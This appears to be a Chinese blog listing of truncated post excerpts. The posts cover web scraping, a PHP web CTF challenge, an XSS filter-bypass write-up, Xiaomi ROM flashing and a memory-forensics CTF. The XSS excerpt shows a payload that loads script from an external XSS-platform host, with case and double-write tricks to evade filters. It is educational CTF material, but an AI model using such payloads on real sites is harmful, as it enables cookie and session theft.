首先，从访问开始进行抓包，分析数据流量。 会发现一个html包，但是里面是json数据，是关于图片信息的，里面包含图片URL。就可以开始写脚本了。 爬取很多的话，可以写一个 sleep，防止短时间访问过多。 import requests from urllib.parse import quote import json import os import time def...

第一层：robots.txt User-agent: * Disallow: /fAke_f1agggg.php 第二层：header头 <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); //level 1 if (iss...

在xss.pt 注册一个账号，配置XSS 我们复制srcipt这一条 <sCRiPt sRC=//xx.xx/xxxx></sCrIpT> 我们会发现过滤了script和空格，进行其他代码尝试，会发现 ( ) 括号也进行了过滤 我们有大小写+双写可以过滤srcipt，空格使用反斜杠进行绕过 <sCRisCRiPtPt/sRC=//xx.xx/...

一、刷新系统 下载 mifash（小米刷机工具）新版就行 https://xiaomirom.com/download-xiaomi-flash-tool-miflash/ 安装驱动，进入软件，上部找到 Driver 安装驱动 还是这个链接，搜索自己的机型下载相应的内测版线刷包。以我的为例，这个链接特别慢https://xiaom...

FAILED (Write to device failed (no link)) fastboot: error: Command failed >fastboot devices a773911d fastboot >fastboot flash boot boot.img Sending 'boot.img' (xxxxx KB) ...

题目文件：https://mega.nz/#!sh8wmCIL!b4tpech4wzc3QQ6YgQ2uZnOmctRZ2duQxDqxbkWYipQ 1 - What the password? 100 you got a sample of rick’s PC’s memory. can you get his user password? format: CTF{…} #得到用...